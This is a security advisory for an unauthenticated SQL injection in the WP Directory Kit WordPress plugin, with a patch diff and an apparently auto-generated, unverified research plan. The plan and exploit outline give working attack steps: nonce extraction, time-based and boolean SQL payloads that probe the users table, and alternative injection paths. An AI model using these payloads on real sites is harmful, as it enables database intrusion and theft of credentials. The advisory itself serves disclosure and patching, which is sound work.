CVE-2026-39531

WP Directory Kit <= 1.5.0 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.5.1
Patched in
9d
Time to patch

Description

The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.5.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.5.0
PublishedApril 13, 2026
Last updatedApril 21, 2026
Affected pluginwpdirectorykit

What Changed in the Fix

Changes introduced in v1.5.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

## Vulnerability Summary The **WP Directory Kit** plugin for WordPress is vulnerable to an **Unauthenticated SQL Injection** in versions up to and including 1.5.0. The vulnerability exists within the `treefieldid` method of the `Wdk_frontendajax` controller (found in `application/controllers/Wdk_fro…

Show full research plan

Vulnerability Summary

The WP Directory Kit plugin for WordPress is vulnerable to an Unauthenticated SQL Injection in versions up to and including 1.5.0. The vulnerability exists within the treefieldid method of the Wdk_frontendajax controller (found in application/controllers/Wdk_frontendajax.php).

The plugin fails to sufficiently escape or prepare SQL queries when processing the sql_where parameter (and potentially others) passed via AJAX. Although the input is passed through sanitize_text_field(), this function does not neutralize SQL injection characters. The unsanitized input is then appended directly to the WHERE clause of a database query. Because the action is registered for unauthenticated users (wp_ajax_nopriv_treefieldid), an attacker can extract sensitive information from the database, such as user hashes and secret keys.

Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: treefieldid (maps to Wdk_frontendajax::treefieldid)
  • Vulnerable Parameter: sql_where
  • Authentication: Unauthenticated (leveraging wp_ajax_nopriv_treefieldid)
  • Required Nonce: The parameter wdk_secure is checked using check_ajax_referer('wdk_secure_treefieldid', 'wdk_secure'). This nonce is typically localized for unauthenticated users on pages containing a directory search form.

Code Flow

  1. Entry Point: An unauthenticated AJAX request is sent to admin-ajax.php with action=treefieldid.
  2. Controller Routing: The request is routed to Wdk_frontendajax::treefieldid.
  3. Nonce Verification: check_ajax_referer('wdk_secure_treefieldid', 'wdk_secure') validates the nonce.
  4. Parameter Parsing: The method iterates through $_POST and stores values in the $parameters array after applying sanitize_text_field().
  5. Logic Path: The code checks if $parameters['sql_where'] is empty. If not, and it doesn't match the hardcoded string 'only_nochilds', it enters a block (truncated in provided source) where the value is likely assigned to a $where array.
  6. SQL Sink: The $where array is used in a database query. In the Winter MVC framework (used by this plugin), passing an array key with a NULL value to the where() method appends the key as raw SQL (e.g., $where[$sql_where] = NULL).
  7. Execution: The injected SQL in sql_where is executed by $this->db->get().

Nonce Acquisition Strategy

The nonce wdk_secure_treefieldid is generated for the action string wdk_secure_treefieldid. It is localized in a JavaScript object named wdk_common.

  1. Shortcode Identification: The search form triggers the loading of necessary scripts and nonces. The shortcode is [wdk_search_form].
  2. Page Creation: Create a public page containing this shortcode:
    wp post create --post_type=page --post_status=publish --post_title="Search" --post_content='[wdk_search_form]'
    
  3. Extraction:
    • Use browser_navigate to visit the newly created page.
    • Use browser_eval to extract the nonce:
      window.wdk_common?.wdk_secure
      

Exploitation Strategy

The exploit uses a time-based blind SQL injection payload in the sql_where parameter.

HTTP Request (Time-Based Test)

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: treefieldid
    • wdk_secure: [EXTRACTED_NONCE]
    • table: listing_m
    • attribute_id: post_id
    • attribute_value: post_title
    • search_term: a
    • sql_where: 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Payload Breakdown

  • 1=1: Ensures the preceding logic remains valid.
  • AND (SELECT 1 FROM (SELECT(SLEEP(5)))a): Injects a subquery that causes the database to sleep for 5 seconds if the query executes.
  • sanitize_text_field(): This payload contains no HTML tags and will pass through unchanged.

Test Data Setup

  1. Initialize Plugin: Ensure WP Directory Kit is active.
  2. Create Content: At least one listing is recommended to ensure the query returns results, although the injection into the WHERE clause should work regardless.
    wp post create --post_type=wdk-listing --post_title="Exploit Test Listing" --post_status=publish
    
  3. Generate Nonce Page:
    wp post create --post_type=page --post_status=publish --post_title="Nonce Page" --post_content='[wdk_search_form]'
    

Expected Results

  • Success: The HTTP request to admin-ajax.php takes approximately 5 seconds to respond.
  • Response Body: Should return a JSON object with success: true and a list of results (if no error occurred) or simply time out/delay.

Verification Steps

  1. Time Verification: Compare the response time of a valid request (e.g., SLEEP(0)) vs. the exploit request (SLEEP(5)).
  2. Database Check: Confirm the database is responsive using wp db query "SELECT 1".
  3. Data Extraction (Advanced): To confirm data access, change the payload to boolean-based:
    1=1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')
    
    Check if the JSON response returns the listing results (True) or an empty list (False).

Alternative Approaches

If sql_where is not the correct sink, target other parameters in the same function:

  1. table parameter: Attempt to load different models.
  2. search_term parameter: The code builds $id_part = "$attr_id=$attr_search OR ". If $attr_id or $attr_search (when numeric) are handled improperly, injection may occur there.
  3. map_infowindow action: This action in Wdk_frontendajax.php lacks a nonce check and calls listing_m->get($listing_post_id). If the underlying get() method is not using prepare(), it provides a completely unauthenticated, nonceless injection path via listing_post_id.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Directory Kit plugin for WordPress is vulnerable to unauthenticated SQL injection via the treefieldid AJAX action. This vulnerability occurs because the plugin uses user-supplied parameters, specifically filter_ids, as raw SQL keys in a WHERE clause without proper sanitization or prepared statements.

Vulnerable Code

// application/controllers/Wdk_frontendajax.php around line 240
if(!empty($parameters['filter_ids'])){
    $this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wpdirectorykit/1.5.0/application/controllers/Wdk_frontendajax.php /home/deploy/wp-safety.org/data/plugin-versions/wpdirectorykit/1.5.1/application/controllers/Wdk_frontendajax.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wpdirectorykit/1.5.0/application/controllers/Wdk_frontendajax.php	2026-03-10 20:39:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpdirectorykit/1.5.1/application/controllers/Wdk_frontendajax.php	2026-04-20 15:09:36.000000000 +0000
@@ -240,7 +240,7 @@
 				} else {
 					
 					if(!empty($parameters['filter_ids'])){
-						$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));
+						$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('/[^0-9,]/', '', $parameters['filter_ids'])).')' => NULL));
 					}
 
 					$tree_results = $this->$table->get_pagination(intval($parameters['limit']),intval($parameters['offset']), $where );
@@ -253,7 +253,7 @@
 				}
 				
 				if(!empty($parameters['filter_ids'])){
-					$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));
+					$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('/[^0-9,]/', '', $parameters['filter_ids'])).')' => NULL));
 				}
 				
 				if($table == 'user_m') {
@@ -472,7 +472,7 @@
             } 
 
 			if(!empty($parameters['filter_ids'])){
-				$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql($parameters['filter_ids']).')' => NULL));
+				$this->db->where(array( esc_sql($this->$table->_table_name.'.'.$this->$table->_primary_key).' IN ('.esc_sql(preg_replace('/[^0-9,]/', '', $parameters['filter_ids'])).')' => NULL));
 			}
 
 			if(!empty($parameters['hide_fields'])) {
@@ -553,6 +553,9 @@
   
     public function select_2_ajax($output="", $atts=array(), $instance=NULL)
     {
+
+		check_ajax_referer('wdk_secure_ajax', 'wdk_secure');
+
 		$this->load->load_helper('listing');
 		$this->load->model('listing_m');
 		$this->load->model('listingfield_m');
@@ -571,6 +574,12 @@
 
 		$model_name = $parameters['table'];
 
+		// allow only 'listing_m', 'category_m', or 'location_m' for security
+		$allowed_models = array('listing_m', 'category_m', 'location_m');
+		if (!in_array($model_name, $allowed_models)) {
+			return false;
+		}

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first obtains a valid AJAX nonce from a public-facing page that includes a directory search form (typically localized in the wdk_common JavaScript object). The attacker then sends a POST request to the /wp-admin/admin-ajax.php endpoint with the action parameter set to treefieldid and the extracted nonce in the wdk_secure parameter. By injecting a SQL payload into the filter_ids parameter (e.g., using a closing parenthesis and logical operator like 1) AND SLEEP(5)--), the attacker can execute arbitrary SQL commands because the plugin appends the value directly to a WHERE clause in the database query.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.